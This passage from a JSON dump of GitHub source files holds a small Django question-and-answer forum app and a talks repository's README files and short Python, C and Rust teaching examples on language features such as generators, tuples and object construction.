DeleteView\nfrom .models import AskedQuestions, Replies\nfrom .forms import AskQ\n\nfrom .forms import SignUpForm\nfrom django.contrib.auth import login, authenticate\n# Create your views here.\n\n\n\nclass HomeListView(ListView):\n model = AskedQuestions\n template_name = 'askedquestions_list.html'\n\n\nclass QuestionDetailView(DetailView):\n model = AskedQuestions\n\n def get_context_data(self, **kwargs):\n context = super(QuestionDetailView, self).get_context_data(**kwargs)\n obj = self.get_object()\n commentss = obj.replies_set.all()\n context['comments'] = commentss\n return context\n \n \n\nclass QuestionCreateView(CreateView):\n form_class = AskQ\n template_name = 'Questions/addQuestion.html'\n #success_url = '/'\n login_url = '/login/'\n \n\n def form_valid(self, form):\n instance = form.save(commit=False)\n instance.owner = self.request.user\n instance.rank_scored = 0\n instance.save()\n return super(QuestionCreateView, self).form_valid(form)\n\n\n\n\n\n\ndef signup(request):\n if request.method == 'POST':\n form = SignUpForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n raw_password = form.cleaned_data.get('password1')\n user = authenticate(username=username, password=raw_password)\n login(request, user)\n return redirect('home')\n else:\n form = SignUpForm()\n return render(request, 'registration/signup.html', {'form': form})\n\n\nclass QuestionEditView(UpdateView):\n model = AskedQuestions\n form_class = AskQ\n template_name ='Questions/addQuestion.html'\n\n\n\nclass QuestionDeleteView(DeleteView):\n model = AskedQuestions\n success_url = '/'" }, { "alpha_fraction": 0.7200754284858704, "alphanum_fraction": 0.7219604253768921, "avg_line_length": 28.082191467285156, "blob_id": "06fed8d0e4a6c024a0c379aaea9c12d32734821e", "content_id": "d66a68bab42e05373677b6c69a93c600bcb523cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2122, "license_type": "no_license", "max_line_length": 128, "num_lines": 73, "path": "/Questions/models.py", "repo_name": "ktimez/ktimezForum", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.utils import timezone\nfrom django.db.models.signals import post_save,pre_save\nfrom .utils import unique_slug_generator\nfrom django.template.defaultfilters import slugify\nfrom autoslug import AutoSlugField\nfrom django.conf import settings\nfrom django.db.models import Count\n\n\nfrom django.core.urlresolvers import reverse\n\nclass AskedQuestions(models.Model):\n owner = models.ForeignKey(settings.AUTH_USER_MODEL)\n title = models.CharField(max_length=200)\n description = models.TextField(help_text='tanga ubundi busobanuro burenzeho ku kibazo, niba ubufite', blank=True, null=True)\n created_on = models.DateTimeField(auto_now_add=True)\n slug = models.SlugField(blank=True, null=True)\n approved = models.BooleanField(default=True)\n\n def get_absolute_url(self):\n return reverse('questionDetails', kwargs={'slug':self.slug})\n\n def __str__(self):\n return self.title\n\n\ndef rl_pre_save_receiver(sender, instance, *args, **kwargs):\n if not instance.slug:\n instance.slug = unique_slug_generator(instance)\n\npre_save.connect(rl_pre_save_receiver, sender=AskedQuestions)\n\n\n\n\n\n#Model Manager of Replies\n\nclass RepliesModelManager(models.Manager):\n def get_query_set(self):\n return super(RepliesModelManager, self).get_query_set().annotate(votes=Count('vote')).order_by('-votes')\n\n\n\n\nclass Replies(models.Model):\n user = models.ForeignKey(settings.AUTH_USER_MODEL)\n ques = models.ForeignKey(AskedQuestions)\n text = models.TextField()\n created_date = models.DateTimeField(default=timezone.now)\n approved = models.BooleanField(default=True)\n rank_scored = models.IntegerField(default=0)\n\n #objects = models.Manager() #default Manager\n objects = RepliesModelManager()\n\n def disaprove(self):\n self.approved = False\n self.save()\n\n def __str__(self):\n return self.text\n\n\n\n\nclass Vote(models.Model):\n voter = models.ForeignKey(settings.AUTH_USER_MODEL)\n comment = models.ForeignKey(Replies)\n\n def __str__(self):\n return \"%s voted %s\" %(self.voter.username, self.comment.text)" }, { "alpha_fraction": 0.6948423981666565, "alphanum_fraction": 0.7048710584640503, "avg_line_length": 28.125, "blob_id": "74dfffd718bf9eb7d0b5d050cb28599acb976c67", "content_id": "74365f0d649a04f845879cac0a4ebd143e5f3bce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 698, "license_type": "no_license", "max_line_length": 87, "num_lines": 24, "path": "/Questions/forms.py", "repo_name": "ktimez/ktimezForum", "src_encoding": "UTF-8", "text": "from .models import AskedQuestions\nfrom django.forms import ModelForm\n\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom django import forms\n\n\nclass AskQ(ModelForm):\n\n class Meta:\n model = AskedQuestions\n fields = ['title', 'description']\n\n\n\nclass SignUpForm(UserCreationForm):\n #first_name = forms.CharField(max_length=30, required=False, help_text='Optional.')\n #last_name = forms.CharField(max_length=30, required=False, help_text='Optional.')\n email = forms.EmailField(max_length=254, help_text='email yawe')\n\n class Meta:\n model = User\n fields = ('username','email', 'password1', 'password2', )" } ]
6
s3rvac/talks
https://github.com/s3rvac/talks
1c3dfec03d1f798125a50438b26aa8daf1f86b65
5e76250ee98424c090fdfbf3c1a2a92f36ccaca6
0da6e1000e071d97822ffe5d84efa7f998d72ae8
refs/heads/master
2023-05-12T01:13:03.365621
2023-05-05T17:32:27
2023-05-05T17:32:27
84,107,862
3
2
null
null
null
null
null
[ { "alpha_fraction": 0.5608108043670654, "alphanum_fraction": 0.6081081032752991, "avg_line_length": 23.66666603088379, "blob_id": "e2c518d284db1923abdd9deb89472da9887a88c5", "content_id": "c087bcb043b2fa9c3fcb42d605684e92318b063b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 148, "license_type": "permissive", "max_line_length": 73, "num_lines": 6, "path": "/2018-03-05-Introduction-to-Python/examples/12-tuple.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "t = ('Cabernet Sauvignon', 1995)\nprint(t[0]) # Cabernet Sauvignon\nt[0] = 'xxx' # TypeError: 'tuple' object does not support item assignment\n\n# A singleton tuple:\nx = (1,)\n" }, { "alpha_fraction": 0.6360543966293335, "alphanum_fraction": 0.6938775777816772, "avg_line_length": 48, "blob_id": "a4301cc5abadfb1cded9c8ccfe08644e749720c2", "content_id": "f4b2c47c0b411dc28c4203f53bc25a1673646e47", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 294, "license_type": "permissive", "max_line_length": 117, "num_lines": 6, "path": "/2011-03-02-On-Nondeterminism-in-Programmed-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "On Nondeterminism in Programmed Grammars\n========================================\n\nSupportive material for my *On Nondeterminism in Programmed Grammars* talk from 2011-03-02.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2011-03-02-On-Nondeterminism-in-Programmed-Grammars/slides.pdf)\n" }, { "alpha_fraction": 0.4936170279979706, "alphanum_fraction": 0.5702127814292908, "avg_line_length": 14.666666984558105, "blob_id": "6b7b5ba9d678236e935020afa265e829388d9873", "content_id": "b4951a83945a6d3dde15b3585e1fc7b476e864d1", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 235, "license_type": "permissive", "max_line_length": 63, "num_lines": 15, "path": "/2019-03-04-Introduction-to-Python/examples/14-matmul.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# @ is for matrix multiplication since Python 3.5 (__matmul__).\n#\n# Requires numpy (http://www.numpy.org/).\n\nimport numpy as np\n\nA = np.matrix('4 1; 9 3')\nB = np.matrix('5 1; 3 8')\n\n# Prints\n#\n# [[23 12]\n# [54 33]]\n#\nprint(A @ B)\n" }, { "alpha_fraction": 0.6241379380226135, "alphanum_fraction": 0.682758629322052, "avg_line_length": 47.33333206176758, "blob_id": "da53e2b7dfbb378b2e66f0d8bf090f4b7720c32d", "content_id": "f090150d0122657cefe82b6ca98782545fa613a3", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 290, "license_type": "permissive", "max_line_length": 116, "num_lines": 6, "path": "/2013-09-30-What-are-Formal-Languages-and-Compilers/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "What are Formal Languages and Compilers\n=======================================\n\nSupportive material for my *What are Formal Languages and Compilers* talk from 2013-09-30.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-09-30-What-are-Formal-Languages-and-Compilers/slides.pdf)\n" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.727554202079773, "avg_line_length": 45.14285659790039, "blob_id": "ce31e6ba9e1c2e8e2d91a76ae0f9f3279cf1a056", "content_id": "3a4fc6ecb74ba49289a524175b5a4b1da4bc41a7", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 323, "license_type": "permissive", "max_line_length": 100, "num_lines": 7, "path": "/2020-03-02-Introduction-to-Python/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Introduction to Python\n======================\n\nSupportive material for my *Introduction to Python* talk from 2020-03-02.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2020-03-02-Introduction-to-Python/slides.pdf)\n* [Examples](https://github.com/s3rvac/talks/tree/master/2020-03-02-Introduction-to-Python/examples)\n" }, { "alpha_fraction": 0.6337579488754272, "alphanum_fraction": 0.7165604829788208, "avg_line_length": 43.85714340209961, "blob_id": "38d5579d4d3e3e67906bc2ee91a6f3dffea3c4b0", "content_id": "43c06616332ef231a0e3277b7c204688121cf03b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 314, "license_type": "permissive", "max_line_length": 97, "num_lines": 7, "path": "/2020-03-26-Python-Object-Model/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Python's Object Model\n=====================\n\nSupportive material for my *Python's Object Model* talk from 2020-03-26.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2020-03-26-Python-Object-Model/slides.pdf)\n* [Examples](https://github.com/s3rvac/talks/tree/master/2020-03-26-Python-Object-Model/examples)\n" }, { "alpha_fraction": 0.43278688192367554, "alphanum_fraction": 0.4655737578868866, "avg_line_length": 14.25, "blob_id": "ef3850b6b3917aeb91686468e953e70cb555e7d5", "content_id": "73ee735e4774cc54b9687a892b6ba181f7fa4f11", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 305, "license_type": "permissive", "max_line_length": 66, "num_lines": 20, "path": "/2019-03-04-Introduction-to-Python/examples/24-public-internal-private.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class A:\n def __init__(self, x):\n self.x = x\n self._x = x\n self.__x = x\n\na = A(1)\n\nprint(a.x) # 1\na.x = 2\nprint(a.x) # 2\n\nprint(a._x) # 1\na._x = 2\nprint(a._x) # 2\n\n# print(a.__x) # AttributeError: 'A' object has no attribute '__x'\nprint(a._A__x) # 1\na._A__x = 2\nprint(a._A__x) # 2\n" }, { "alpha_fraction": 0.5791139006614685, "alphanum_fraction": 0.6012658476829529, "avg_line_length": 20.066667556762695, "blob_id": "2fc8700bbf746d4cfa19957adfc8d90c99cb6dfa", "content_id": "d217a1b2efbe675ff15350ebdeb2721c09326bfa", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 316, "license_type": "permissive", "max_line_length": 50, "num_lines": 15, "path": "/2017-03-07-Introduction-to-Python/examples/23-special-methods.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class MyList(list):\n def __setitem__(self, index, value):\n raise RuntimeError('cannot be indexed')\n\nlist = MyList([1, 2, 3])\nprint(list[0]) # 1\n# list[0] = 2 # RuntimeError: cannot be indexed\n\nclass HasAll:\n def __getattr__(self, attr):\n print(str(attr))\n\nx = HasAll()\nx.foo # foo\nx.bar # bar\n" }, { "alpha_fraction": 0.6649214625358582, "alphanum_fraction": 0.735602080821991, "avg_line_length": 53.57143020629883, "blob_id": "432bf1095081ae70d0a813cf476ba96802b4113b", "content_id": "8242a373582a6c08a98b4d83bcbde29e00e241a1", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 382, "license_type": "permissive", "max_line_length": 135, "num_lines": 7, "path": "/2013-10-31-Scattered-Context-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Scattered Context Grammars\n==========================\n\nSupportive material for a talk entitled *Scattered Context Grammars* from 2013-10-31.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-10-31-Scattered-Context-Grammars/slides.pdf)\n* [Recording (Czech; audio only)](https://github.com/s3rvac/talks/raw/master/2013-10-31-Scattered-Context-Grammars/recording-audio.mp3)\n" }, { "alpha_fraction": 0.619744062423706, "alphanum_fraction": 0.703839123249054, "avg_line_length": 41.07692337036133, "blob_id": "8e75adfc1a0a5fad1ef2939d33076a0b0cca6062", "content_id": "5f8cab003542a88c11271adfbfa5a5c34ce10ef7", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 547, "license_type": "permissive", "max_line_length": 100, "num_lines": 13, "path": "/2018-03-05-Introduction-to-Python/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Introduction to Python\n======================\n\nSupportive material for my *Introduction to Python* talk from 2018-03-05.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2018-03-05-Introduction-to-Python/slides.pdf)\n* [Examples](https://github.com/s3rvac/talks/tree/master/2018-03-05-Introduction-to-Python/examples)\n\nRecordings (in Czech)\n---------------------\n\n* [Lecturer and screen](https://video1.fit.vutbr.cz/index.php?record_id=48249&categ_id=1519)\n* [Screen only](https://video1.fit.vutbr.cz/index.php?record_id=48250&categ_id=1519)\n" }, { "alpha_fraction": 0.6240601539611816, "alphanum_fraction": 0.6879699230194092, "avg_line_length": 43.33333206176758, "blob_id": "886a3e3e2f740b948e5b4ad7f8cad2511577675d", "content_id": "3c0396a9ce4af44a9f5c46b333be0ef4e6c592f4", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 266, "license_type": "permissive", "max_line_length": 110, "num_lines": 6, "path": "/2013-04-15-One-Sided-Random-Context-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "One-Sided Random Context Grammars\n=================================\n\nSupportive material for my *One-Sided Random Context Grammars* talk from 2013-04-15.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-04-15-One-Sided-Random-Context-Grammars/slides.pdf)\n" }, { "alpha_fraction": 0.615646243095398, "alphanum_fraction": 0.6734693646430969, "avg_line_length": 48, "blob_id": "e1ce2c70d3fec40932313ea9c4a70dffd8366b21", "content_id": "070699a676ddca0c8a0b567eceb390689bc33e84", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 294, "license_type": "permissive", "max_line_length": 117, "num_lines": 6, "path": "/2019-10-11-Tips-for-Merge-Requests-and-Code-Reviews/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Tips for Merge Requests and Code Reviews\n========================================\n\nSupportive material for my *Tips for Merge Requests and Code Reviews* talk from 2019-10-11.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2019-10-11-Tips-for-Merge-Requests-and-Code-Reviews/slides.pdf)\n" }, { "alpha_fraction": 0.5784753561019897, "alphanum_fraction": 0.5829596519470215, "avg_line_length": 36.16666793823242, "blob_id": "1a8b17d8cf15513b0d7ac555f04974a205384728", "content_id": "ef842b1ddaab18dade38404f9ff9295ff37a98c3", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 446, "license_type": "permissive", "max_line_length": 76, "num_lines": 12, "path": "/2020-03-26-Python-Object-Model/examples/set-name.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# An example of using __set_name__. It can be used for descriptors to\n# automatically detect the name of the attribute they have been assigned to.\n# Available since Python 3.6.\n\nclass X:\n def __set_name__(self, owner, name):\n print(f'owner: {owner}, name: {name!r}')\n\nclass A:\n a = X() # owner: <class '__main__.A'>, name: 'a'\n b = X() # owner: <class '__main__.A'>, name: 'b'\n c = X() # owner: <class '__main__.A'>, name: 'c'\n" }, { "alpha_fraction": 0.5924657583236694, "alphanum_fraction": 0.6164383292198181, "avg_line_length": 19.85714340209961, "blob_id": "d13c593706f3389bcc7e05266ff195de1aed2314", "content_id": "8223edd78805e04f6b4171df7a0aef47ac2a7936", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 584, "license_type": "permissive", "max_line_length": 66, "num_lines": 28, "path": "/2018-03-05-Introduction-to-Python/examples/24-attributes.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Hooking into attribute lookup.\n\nclass HasAllAttrs:\n def __init__(self, n):\n self.n = n\n\n def __getattr__(self, name):\n return name\n\nx = HasAllAttrs(1234)\nprint(x.n) # 1234\nprint(x.foo) # foo\nprint(x.bar) # bar\n\n# We can also hook into the lookup of all attributes by overriding\n# __getattribute__() instead of __getattr__().\n# Be careful with this though!\nclass HasAllAttrs2:\n def __init__(self, n):\n self.n = n\n\n def __getattribute__(self, name):\n return name\n\nx = HasAllAttrs2(1234)\nprint(x.n) # n\nprint(x.foo) # foo\nprint(x.bar) # bar\n" }, { "alpha_fraction": 0.6166098117828369, "alphanum_fraction": 0.6222980618476868, "avg_line_length": 24.852941513061523, "blob_id": "2a1ac2d56845abbc2de5c0004edd81530abacb0b", "content_id": "6df2b9d0d3d710b05fb524de4f7ba50dbaf93ea3", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 879, "license_type": "permissive", "max_line_length": 79, "num_lines": 34, "path": "/2017-03-07-Introduction-to-Python/demos/wc2.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Note: This script is just an illustration. It contains a very simple solution\n# to the problem, which is far from perfect.\n\nimport argparse\nimport sys\n\ndef parse_args(args):\n parser = argparse.ArgumentParser(\n description='Prints the number of lines and words in file.'\n )\n parser.add_argument('file_path', metavar='FILE')\n return parser.parse_args(args[1:])\n\ndef count_lines_and_words(file):\n lines = 0\n words = 0\n for line in file:\n lines += 1\n for word in line.split(' '):\n if word.strip():\n words += 1\n return lines, words\n\ndef print_lines_and_words(lines, words):\n print(lines, words)\n\ndef main():\n args = parse_args(sys.argv)\n with open(args.file_path, 'r') as f:\n lines, words = count_lines_and_words(f)\n print_lines_and_words(lines, words)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5371428728103638, "alphanum_fraction": 0.5828571319580078, "avg_line_length": 14.909090995788574, "blob_id": "a98ecdcd5bcd041e0de868b99d6dc14d752e6fea", "content_id": "9de3fa095478580d1246ee0db1b2962dc994b969", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 175, "license_type": "permissive", "max_line_length": 45, "num_lines": 11, "path": "/2018-03-05-Introduction-to-Python/examples/19-del.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "x = 1\nprint(x) # 1\ndel x\nprint(x) # NameError: name 'x' is not defined\n\na = [1, 2, 3]\nb = a\ndel a\nprint(b) # OK: [1, 2, 3]\ndel b\nprint(b) # NameError: name 'b' is not defined\n" }, { "alpha_fraction": 0.621169924736023, "alphanum_fraction": 0.6935933232307434, "avg_line_length": 50.28571319580078, "blob_id": "6eab20234e532eae8fbaf45ce94a924af819c8d7", "content_id": "f0db30c575cfefa18f79c919b154755b5c30d22d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 359, "license_type": "permissive", "max_line_length": 110, "num_lines": 7, "path": "/2012-10-24-One-Sided-Random-Context-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "One-Sided Random Context Grammars\n=================================\n\nSupportive material for my *One-Sided Random Context Grammars* talk from 2012-10-24.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2012-10-24-One-Sided-Random-Context-Grammars/slides.pdf)\n* [Audio recording](https://talks.petrzemek.net/Petr-Zemek_-_2012-10-24_-_OSRCG.mp3) (Czech)\n" }, { "alpha_fraction": 0.5188679099082947, "alphanum_fraction": 0.5660377144813538, "avg_line_length": 15.307692527770996, "blob_id": "9c4e274d772a644045cd62cc572eab807eb76811", "content_id": "70ce1400a8524f916f127c34c9e342bc4d30f96e", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 212, "license_type": "permissive", "max_line_length": 70, "num_lines": 13, "path": "/2020-03-02-Introduction-to-Python/examples/30-comp.c", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "// Chained comparisons do not work as expected in C, but do in Python.\n//\n// $ gcc -o 30-comp 30-comp.c\n// $ ./30-comp\n\n#include <stdio.h>\n\nint main() {\n\tint x = 10;\n\tif (1 < x < 5) {\n\t\tprintf(\"Really?\\n\");\n\t}\n}\n" }, { "alpha_fraction": 0.584269642829895, "alphanum_fraction": 0.601123571395874, "avg_line_length": 25.176469802856445, "blob_id": "92a35c04123e87fa7eb8fd7f4c15a49f460e9f48", "content_id": "27fc318236ed39318e410131e5175e66c858ff69", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 890, "license_type": "permissive", "max_line_length": 77, "num_lines": 34, "path": "/2020-03-26-Python-Object-Model/examples/everything-is-object.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# In Python, almost everything is an object. A few examples:\n\n# Integers are objects, so you can, for example, call bit_length() to get the\n# number of bits needed to store the number.\nx = 256\nprint(x.bit_length()) # 9\n\n# Even the ellipsis is an object. It can be used as a placeholder for missing\n# code or in multidimensional slicings when using numpy.\nx = ...\nprint(x) # Ellipsis\n\n# Also function descriptions:\ndef factorial(n):\n \"\"\"Returns the factorial of n.\"\"\"\n if n == 0:\n return 1\n else:\n return n * factorial(n - 1)\n\nprint(factorial.__doc__) # \"Returns the factorial of n.\"\n\n# You can also inspect and mess with bytecode:\ndef add(a, b):\n return a + b\n\nimport dis\ndis.dis(add.__code__)\n# Prints:\n#\n# 15 0 LOAD_FAST 0 (a)\n# 2 LOAD_FAST 1 (b)\n# 4 BINARY_ADD\n# 6 RETURN_VALUE\n" }, { "alpha_fraction": 0.6653771996498108, "alphanum_fraction": 0.6731141209602356, "avg_line_length": 31.3125, "blob_id": "f38ff9906249c8b8bf738356e9c33d6e9d431b3f", "content_id": "16e656e11bf7ba563fa2bf540ab613039f8469c2", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 517, "license_type": "permissive", "max_line_length": 76, "num_lines": 16, "path": "/2017-03-07-Introduction-to-Python/examples/06-type-inference.rs", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "// For example, the Rust programming language is statically typed, but uses\n// type inference to reduce the amount of types that have to be specified by\n// the programmer.\n//\n// $ rustc 06-type-inference.rs\n\nfn main() {\n let x = 1;\n let x = \"Hello Joe\".to_owned();\n\n // The following line results in a compilation error (types are checked\n // during compilation because Rust is statically typed):\n //\n // error: mismatched types (expected &str, found integral variable)\n println!(\"{}\", x + 2);\n}\n" }, { "alpha_fraction": 0.6153846383094788, "alphanum_fraction": 0.708791196346283, "avg_line_length": 29.33333396911621, "blob_id": "abcdef93ea94b6f1b047507012fabbf671d50502", "content_id": "db4b8a7b7028ecda172b8138f453839da6d0acd5", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 182, "license_type": "permissive", "max_line_length": 89, "num_lines": 6, "path": "/2013-06-17-On-Etiquette/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "On Etiquette\n============\n\nSupportive material for my *On Etiquette* talk from 2013-06-17.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-06-17-On-Etiquette/slides.pdf)\n" }, { "alpha_fraction": 0.5710344910621643, "alphanum_fraction": 0.5724138021469116, "avg_line_length": 22.387096405029297, "blob_id": "2b588208caf27fda1864e7e5e8c5a3ce64d957fb", "content_id": "f8ffbb065ce9d0ed33e46a0577163fd56bfbda6d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 725, "license_type": "permissive", "max_line_length": 78, "num_lines": 31, "path": "/2020-03-26-Python-Object-Model/examples/construction-and-finalization.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Construction and finalization.\n\nclass A:\n # __new__() is a special-cased static method so you do not have to declare\n # it as such.\n def __new__(cls, a):\n print('A.__new__()')\n return super().__new__(cls)\n\n def __init__(self, a):\n print('A.__init__()')\n self.a = a\n\n def __del__(self):\n print('A.__del__()')\n\n# The following piece of code prints:\n#\n# A.__new__()\n# A.__init__()\n#\na = A(1)\n\n# The following piece of code MAY print:\n#\n# A.__del__()\n#\n# It depends on the interpreter. For example, in CPython, which uses reference\n# counting, it will print the string. However, in PyPy, which uses a\n# full-fledged garbage collector, it will not print that.\ndel a\n" }, { "alpha_fraction": 0.3815789520740509, "alphanum_fraction": 0.4736842215061188, "avg_line_length": 18, "blob_id": "3572c4bac4c4e6c32dae4ec533cdd841d9aee3a0", "content_id": "070ec3d29dda6d2c53a8d004ade5f807f31c70f0", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 76, "license_type": "permissive", "max_line_length": 26, "num_lines": 4, "path": "/2017-03-07-Introduction-to-Python/examples/11-list.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "l = [1, 2.0, 'hey!', None]\nprint(l[0]) # 1\nl[0] = 'zero'\nprint(l[0]) # zero\n" }, { "alpha_fraction": 0.5098039507865906, "alphanum_fraction": 0.545098066329956, "avg_line_length": 17.214284896850586, "blob_id": "982afdc1d6fb91959dcab86d097da3cb8991f56f", "content_id": "be82e4a8f58372ed7207f4261373f534430c7b92", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 255, "license_type": "permissive", "max_line_length": 23, "num_lines": 14, "path": "/2017-03-07-Introduction-to-Python/examples/30-generators.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "def fibonacci():\n a, b = 0, 1\n while True:\n yield a\n a, b = b, a + b\n\nfib = fibonacci()\nprint(next(fib)) # 0\nprint(next(fib)) # 1\nprint(next(fib)) # 1\nprint(next(fib)) # 2\nprint(next(fib)) # 3\nprint(next(fib)) # 5\nprint(next(fib)) # 8\n" }, { "alpha_fraction": 0.6706587076187134, "alphanum_fraction": 0.7215569019317627, "avg_line_length": 40.75, "blob_id": "25b0dd10048baac70f61f2b9af42879296d99f80", "content_id": "ea7f1bf6da227ed8d3f4ab48a274179da342420d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 334, "license_type": "permissive", "max_line_length": 94, "num_lines": 8, "path": "/2022-05-04-High-Quality-Code/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "High-Quality Code\n=================\n\nSupportive material for my *High-Quality Code* talk from 2022-05-04.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2022-05-04-High-Quality-Code/slides.pdf)\n* [English recording](https://www.youtube.com/watch?v=xfhsWXHAIuk)\n* [Czech recording](https://www.youtube.com/watch?v=SwPsMrQVZnM)\n" }, { "alpha_fraction": 0.6317829489707947, "alphanum_fraction": 0.6976743936538696, "avg_line_length": 42, "blob_id": "4dbec309191767d75bdce9bfffa9ab6ba1378306", "content_id": "d0d1e7e5cd383d0764f8d005ddddb36b51ddbaad", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 258, "license_type": "permissive", "max_line_length": 108, "num_lines": 6, "path": "/2013-05-24-Regulated-Grammars-and-Automata/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Regulated Grammars and Automata\n===============================\n\nSupportive material for my *Regulated Grammars and Automata* talk from 2013-05-24.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-05-24-Regulated-Grammars-and-Automata/slides.pdf)\n" }, { "alpha_fraction": 0.6317829489707947, "alphanum_fraction": 0.6976743936538696, "avg_line_length": 42, "blob_id": "846fab99af1103cb5a2088378917d9325e9e1324", "content_id": "8ea13db90c9813381ad9e1da8862be11827a7d52", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 258, "license_type": "permissive", "max_line_length": 108, "num_lines": 6, "path": "/2012-02-17-Transformation-of-Formal-Models/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Transformation of Formal Models\n===============================\n\nSupportive material for my *Transformation of Formal Models* talk from 2012-02-17.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2012-02-17-Transformation-of-Formal-Models/slides.pdf)\n" }, { "alpha_fraction": 0.5954415798187256, "alphanum_fraction": 0.6239316463470459, "avg_line_length": 15.714285850524902, "blob_id": "c13a9f96ddf25a19e9a273b2e4084bc069a097a2", "content_id": "9320ffd147470948121f149cfb648e2aa67c6913", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 351, "license_type": "permissive", "max_line_length": 36, "num_lines": 21, "path": 